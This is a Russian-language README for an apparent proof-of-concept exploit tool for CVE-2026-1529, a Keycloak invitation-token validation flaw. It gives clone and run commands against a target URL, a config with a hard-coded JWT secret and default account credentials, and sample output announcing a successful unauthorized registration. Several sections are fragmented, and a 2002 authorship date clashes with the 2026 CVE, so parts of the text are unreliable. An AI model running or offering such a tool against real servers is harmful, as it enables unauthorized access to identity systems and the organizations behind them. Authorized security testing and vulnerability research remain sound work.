
CVE-2026-1529 (PoC) — это критическая уязвимость в Keycloak, которая позволяет несанкционированную регистрацию в организациях из-за некорректной проверки пригласительных токенов. Этот эксплойт-инструмент демонстрирует уязвимость, манипулируя JWT-токенами для регистрации пользователей в неавторизованных организациях.
Keycloak: неавторизованная регистрация организаций через некорректную проверку пригласительных токенов
Этот инструмент предназначен только для образовательных целей и тестирования безопасности. Используйте его только на системах, на тестирование которых у вас есть явное разрешение. Несанкционированный доступ к компьютерным системам незаконен и неэтичен. Авторы этого инструмента не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением.
Создано: f3ds cr3w est, 2002
CVE-2026-1529 — критическая уязвимость в Keycloak, которая позволяет неавторизованную регистрацию организаций через некорректную проверку пригласительных токенов. Этот инструмент эксплуатации демонстрирует уязвимость путём манипуляции JWT-токенами для регистрации пользователей в неавторизованных организациях.
Уязвимость существует в процессе проверки JWT-токенов для приглашений в организацию. Злоумышленники могут манипулировать полями org_id и email в полезной нагрузке JWT, что позволяет им регистрировать пользователей в любой организации без соответствующей авторизации.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Стандартное использование с URL цели
python keycloak-exploit.py https://target-keycloak.com
# Показать справку
python keycloak-exploit.py -h
# Показать версию
python keycloak-exploit.py -v
# Использовать собственный пригласительный токен
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Использовать собственный ID организации
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Использовать собственный файл конфигурации
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Включить отладочное логирование
python keycloak-exploit.py -d https://target-keycloak.com
При успешной эксплуатации вы увидите вывод, подобный следующему:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
Если эксплуатация не удалась, вы увидите:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # This file
├── config/
│ └── default_config.json # Default configuration
├── utils/
│ ├── jwt_utils.py # JWT manipulation utilities
│ ├── http_utils.py # HTTP client utilities
│ └── crypto_utils.py # Cryptographic utilities
├── output/
│ ├── logs/ # Log files
│ └── reports/ # Exploit reports
Инструмент использует файл конфигурации по умолчанию (config/default_config.json) со следующими настройками:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Вы можете создать собственный файл конфигурации и использовать его с параметром -c:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
Инструмент использует некорректную проверку JWT следующим образом:
org_id для нацеливания на другую организациюemailОшибки подключения
Ошибки проверки токена
org_id, email, invitation_type)Сбои регистрации
Включите отладочное логирование для подробного поиска и устранения неполадок:
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txtИнструмент выполняет следующие проверки:
Эксплуатация считается успешной, если:
Этот инструмент предоставляется только для образовательных целей и тестирования безопасности. Используйте на свой страх и риск.
Создано: f3ds cr3w est, 2002
Контакт: По вопросам и предложениям обращайтесь к репозиторию проекта.
Помните: С большой силой приходит большая ответственность. Используйте этот инструмент разумно и этично.
by f3ds cr3w est, 2002
| Параметр | Описание | Обязательный |
|---|
target | URL целевого Keycloak (IP или домен) | Да |
-t, --token | Собственный пригласительный токен | Нет |
-o, --org-id | Собственный ID организации | Нет |
-c, --config | Путь к файлу конфигурации | Нет |
-d, --debug | Включить отладочное логирование | Нет |
-v, --version | Показать информацию о версии | Нет |
-h, --help | Показать справочное сообщение | Нет |